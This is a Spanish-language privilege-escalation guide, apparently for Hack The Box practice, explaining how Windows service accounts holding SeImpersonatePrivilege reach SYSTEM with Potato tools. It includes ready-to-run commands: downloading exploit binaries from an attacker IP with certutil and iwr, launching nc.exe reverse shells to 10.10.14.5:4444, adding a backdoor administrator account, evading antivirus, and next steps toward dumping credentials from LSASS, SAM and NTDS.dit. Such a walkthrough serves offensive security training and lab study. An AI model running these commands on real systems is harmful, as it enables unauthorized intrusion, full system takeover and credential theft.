SeImpersonatePrivilege y Potatoes: de cuenta de servicio a SYSTEM en Windows

Qué significa tener SeImpersonate, por qué lo tienen IIS y MSSQL, y qué Potato usar en cada Windows: PrintSpoofer, GodPotato, JuicyPotatoNG o RoguePotato.

· 4 min de lectura

Si tu shell en Windows viene de una web en IIS, de un xp_cmdshell en MSSQL o de cualquier servicio, lo primero que tienes que mirar es esto:

whoami /priv

Si en la lista aparece SeImpersonatePrivilege (o SeAssignPrimaryTokenPrivilege) con estado Enabled, estás a un comando de ser NT AUTHORITY\SYSTEM. En este catálogo es la escalada de Windows que más se repite: SeImpersonate / Potatoes.

Por qué funciona

SeImpersonatePrivilege deja a un proceso suplantar el token de cualquier usuario que se autentique contra él. Windows se lo da a las cuentas de servicio (IIS APPPOOL\*, NT SERVICE\MSSQLSERVER, LOCAL SERVICE, NETWORK SERVICE) porque lo necesitan para atender a sus clientes con los permisos de cada uno.

Todos los Potatoes hacen lo mismo con trucos distintos:

  1. Montan un servicio falso (un named pipe, un servidor RPC o DCOM) en la máquina.
  2. Engañan a un componente de Windows que corre como SYSTEM para que se conecte a él.
  3. Suplantan el token de SYSTEM que acaba de llegar y lanzan un proceso con él.

Qué Potato usar

Herramienta Funciona en Notas
PrintSpoofer Windows 10 y Server 2016/2019 Usa el servicio de impresión (Spooler). Muy fiable si el Spooler está activo
GodPotato Windows 8 a 11, Server 2012 a 2022 Usa DCOM/RPCSS. Hoy es la primera opción en casi todo
JuicyPotatoNG Windows 10/11 y Server 2019/2022 Versión moderna de JuicyPotato
SweetPotato / EfsPotato Varias Recopilan varias técnicas (EfsRpc, PrintSpoofer, WinRM)
JuicyPotato (clásico) Hasta Windows 10 1803 y Server 2016 Necesita un CLSID válido para cada versión
RoguePotato Windows 10 1809+ y Server 2019 Necesita una redirección del puerto 135 hacia tu equipo

Para saber la versión:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
[Environment]::Is64BitOperatingSystem

Paso a paso

1. Sube la herramienta

Desde tu equipo, sirve los binarios y descárgalos en una carpeta donde puedas escribir (C:\Windows\Temp, C:\Users\Public). Tienes todas las formas de hacerlo en la chuleta de transferencia de archivos.

cd C:\Windows\Temp
certutil -urlcache -f http://10.10.14.5/GodPotato-NET4.exe gp.exe
iwr http://10.10.14.5/PrintSpoofer64.exe -OutFile ps.exe

Truco

GodPotato tiene versiones para .NET 2, 3.5 y 4. Mira cuál hay instalada con dir C:\Windows\Microsoft.NET\Framework64\ y usa esa.

2. Comprueba que ejecuta como SYSTEM

.\gp.exe -cmd "cmd /c whoami"
.\ps.exe -c "cmd /c whoami"

3. Consigue una shell

Lo más cómodo es lanzar una reverse shell con nc.exe o una de PowerShell (genera la tuya en reverse shells):

.\gp.exe -cmd "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
.\ps.exe -i -c powershell.exe        # interactiva, si tu shell actual lo permite
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

Otra opción, menos ruidosa con la red: añadir tu usuario al grupo de administradores y entrar por WinRM o RDP.

.\gp.exe -cmd "cmd /c net user hacker P4ssw0rd! /add && net localgroup administrators hacker /add"

Si no tienes el privilegio (pero deberías)

Las cuentas LOCAL SERVICE y NETWORK SERVICE a veces arrancan con privilegios recortados. FullPowers recupera los privilegios por defecto de la cuenta (incluido SeImpersonate) creando una tarea programada como ese mismo usuario:

.\FullPowers.exe -c "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

Otros privilegios que también dan SYSTEM

whoami /priv puede enseñarte otros privilegios de token igual de útiles:

  • SeBackupPrivilege / SeRestorePrivilege: leer o escribir cualquier fichero, por ejemplo copiar SAM, SYSTEM o NTDS.dit (SeBackup).
  • SeDebugPrivilege: abrir cualquier proceso, incluido LSASS, o inyectarte en uno de SYSTEM.
  • SeTakeOwnershipPrivilege: hacerte dueño de un fichero protegido (por ejemplo utilman.exe) y cambiar sus permisos.
  • SeLoadDriverPrivilege: cargar un driver vulnerable (como Capcom.sys) y ejecutar código en el kernel.
  • SeManageVolumePrivilege: dar permisos de escritura sobre todo C:\ y reemplazar una DLL de sistema.

Cuidado

Un privilegio Disabled en whoami /priv no significa que no lo tengas: los programas lo activan cuando lo necesitan. Lo que importa es que aparezca en la lista.

Errores típicos

  • PrintSpoofer dice que no encuentra el pipe: el servicio Spooler está parado (sc query spooler). Usa GodPotato.
  • El antivirus borra el binario nada más subirlo: prueba otra variante (EfsPotato se compila en la propia máquina con csc.exe) o lee la guía de cómo detectan los EDR.
  • JuicyPotato devuelve COM -> recv failed with error: 10038: el CLSID no vale para esa versión de Windows, o es Windows 10 1809 o posterior, donde ya no funciona.
  • La shell muere al momento: lánzala desde un proceso que no dependa de tu shell web, por ejemplo con cmd /c start.

Y después

Ya eres SYSTEM: vuelca las credenciales locales (lo tienes en volcado de credenciales en Windows) y prueba a reutilizarlas en otras máquinas. Si no hay ningún privilegio interesante, sigue con servicios, DLL y tareas mal configurados.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

SeImpersonate / Potatoes 14 máquinas

Ver las 14 máquinas →

Otros privilegios de token 6 máquinas

¿Ves un error o echas algo en falta? Cuéntanoslo